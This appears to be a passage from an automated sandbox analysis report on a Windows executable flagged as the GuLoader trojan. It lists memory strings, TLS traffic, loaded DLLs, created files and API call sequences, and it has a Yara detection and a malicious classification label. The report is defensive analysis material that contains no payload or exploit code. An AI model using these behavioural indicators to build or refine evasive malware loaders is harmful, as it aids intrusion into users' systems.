00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719203506.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618132021.0000000006EA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: fbXZ4ErQMU.exe, 00000003.00000003.53282275495.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618375979.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52951879609.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058380581.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53058091433.0000000006EAC000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945802613.0000000006EB8000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54066069249.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52726610810.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53624432299.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52832764653.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53057962046.0000000006EB9000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.54513141564.0000000006E99000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53394052068.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52952093836.0000000006EB7000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52945627446.0000000006EB2000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53506009888.0000000006E5B000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52833039147.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53176252546.0000000006E5C000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52719203506.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.52839942849.0000000006F09000.00000004.00000020.00020000.00000000.sdmp, fbXZ4ErQMU.exe, 00000003.00000003.53618132021.0000000006EA5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com

Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49816
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49752 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.64.193:443 -> 192.168.11.20:49808 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.217.238:443 -> 192.168.11.20:49811 version: TLS 1.2

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Code function: 0_2_0040535C GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040535C

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Code function: 0_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403348

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	File created: C:\Windows\resources\0409			Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	File created: C:\Windows\Arder.lnk			Jump to behavior

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Code function: 0_2_00406945	0_2_00406945
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Code function: 0_2_0040711C	0_2_0040711C
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Code function: 0_2_70051A98	0_2_70051A98

Source: fbXZ4ErQMU.exe

Static PE information: invalid certificate

Source: fbXZ4ErQMU.exe, 00000000.00000000.51418181320.0000000000458000.00000002.00000001.01000000.00000003.sdmp

Binary or memory string: OriginalFilenameuganderens.exeDVarFileInfo$ vs fbXZ4ErQMU.exe

Source: fbXZ4ErQMU.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal68.troj.evad.winEXE@3/8@2/2

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

0_2_00403348

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Code function: 0_2_0040460D GetDlgItem,SetWindowTextA,SHBrowseForFolderA,CoTaskMemFree,lstrcmpiA,lstrcatA,SetDlgItemTextA,GetDiskFreeSpaceA,MulDiv,SetDlgItemTextA,

0_2_0040460D

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Code function: 0_2_0040216B CoCreateInstance,MultiByteToWideChar,

0_2_0040216B

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

File created: C:\Users\user\tranchet

Jump to behavior

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

File created: C:\Users\user\AppData\Local\Temp\nsvDC99.tmp

Jump to behavior

Source: fbXZ4ErQMU.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: fbXZ4ErQMU.exe

ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

File read: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\fbXZ4ErQMU.exe "C:\Users\user\Desktop\fbXZ4ErQMU.exe"
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process created: C:\Users\user\Desktop\fbXZ4ErQMU.exe "C:\Users\user\Desktop\fbXZ4ErQMU.exe"
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process created: C:\Users\user\Desktop\fbXZ4ErQMU.exe "C:\Users\user\Desktop\fbXZ4ErQMU.exe"	Jump to behavior

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Section loaded: ncryptsslp.dll	Jump to behavior

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Jump to behavior

Source: Arder.lnk.0.dr

LNK file: ..\Users\user\Disannex.And37

Source: fbXZ4ErQMU.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: fbXZ4ErQMU.exe, 00000003.00000001.52635170494.0000000000649000.00000020.00000001.01000000.00000006.sdmp
Source:	Binary string: mshtml.pdbUGP source: fbXZ4ErQMU.exe, 00000003.00000001.52635170494.0000000000649000.00000020.00000001.01000000.00000006.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match	File source: 00000003.00000002.56492873526.000000000183F000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.53292835357.0000000002C0F000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Code function: 0_2_70051A98 GlobalAlloc,lstrcpyA,lstrcpyA,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyA,GetModuleHandleA,LoadLibraryA,GetProcAddress,lstrlenA,

0_2_70051A98

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

Code function: 0_2_70052F60 push eax; ret

0_2_70052F8E

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe

File created: C:\Users\user\AppData\Local\Temp\nsjE6EA.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\fbXZ4ErQMU.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
